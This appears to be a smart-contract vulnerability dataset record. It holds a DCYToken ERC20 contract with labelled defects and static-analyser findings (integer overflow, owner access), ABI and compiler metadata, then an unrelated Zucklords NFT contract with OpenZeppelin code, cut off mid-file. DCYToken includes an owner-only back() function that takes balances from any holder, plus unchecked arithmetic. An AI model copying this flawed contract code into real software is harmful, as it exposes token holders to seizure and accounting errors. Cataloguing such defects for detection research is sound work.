//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract DCYToken is StandardToken,Ownable{ using SafeMath for uint; function () public { //if ether is sent to this address, send it back. require(false); } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'DCYToken'; //human 0.1 standard. Just an arbitrary versioning scheme. bool public allowBack; bool public allowIssua; function DCYToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _allowBack, bool _allowIssua ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes allowBack = _allowBack; allowIssua = _allowIssua; } function back(address _ads,uint256 _value) public onlyOwner returns (bool success) { require(allowBack); require(balances[_ads] >= _value && _value > 0); balances[_ads] -= _value; balances[msg.sender] += _value; Transfer(_ads, msg.sender, _value); return true; } function issua(uint256 _value) public onlyOwner returns (bool success) { require(allowIssua); require(_value > 0); balances[msg.sender] += _value; totalSupply.add(_value); Transfer(address(0), msg.sender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { require(false); } return true; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["102", "213"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["32", "139"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["163", "164", "165", "152", "153", "240", "239", "248"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [213]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DCYToken.sol": [54, 55, 56, 57, 58, 59, 60, 61]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DCYToken.sol": [76, 77, 78, 79]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DCYToken.sol": [66, 67, 68, 69, 70, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [125]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [245, 246, 247, 248, 249, 250, 251, 252]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [200, 197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [130]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [36, 37, 38, 39, 40]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [256, 257, 258, 259, 260, 261]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [112]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [236, 237, 238, 239, 240, 241, 242, 243]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DCYToken.sol": [106]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [259]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [175]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [256]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [256]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [175]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [245]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [256]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [236]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [159]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DCYToken.sol": [171]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"DCYToken.sol": [249]}}]
[{"error": "Integer Underflow.", "line": 210, "level": "Warning"}, {"error": "Integer Underflow.", "line": 213, "level": "Warning"}, {"error": "Integer Underflow.", "line": 212, "level": "Warning"}, {"error": "Integer Overflow.", "line": 85, "level": "Warning"}, {"error": "Integer Overflow.", "line": 248, "level": "Warning"}, {"error": "Integer Overflow.", "line": 163, "level": "Warning"}, {"error": "Integer Overflow.", "line": 256, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 106, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 130, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 139, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 171, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 181, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 175, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 194, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 259, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 197, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 139, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 221, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 223, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 256, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 139, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 185, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 186, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"issua","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"allowIssua","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_ads","type":"address"},{"name":"_value","type":"uint256"}],"name":"back","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"allowBack","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_initialAmount","type":"uint256"},{"name":"_tokenName","type":"string"},{"name":"_decimalUnits","type":"uint8"},{"name":"_tokenSymbol","type":"string"},{"name":"_allowBack","type":"bool"},{"name":"_allowIssua","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.17+commit.bdeb9e52
false
200
0000000000000000000000000000000000000000019d971e4fe8401e7400000000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a4469676974616c204368696e657365205975616e20546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000044443595400000000000000000000000000000000000000000000000000000000
Default
None
false
bzzr://7ef29915621cd4867e3ff43928dfa614de7900a53501603564dafc092f7d84ec
Zucklords
0x539130bd5916fe9fd1fa437cf8c61a8850938b5b
Solidity
// File: contracts/Zucklords.sol // SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Zucklords is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/utils/Counters.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: 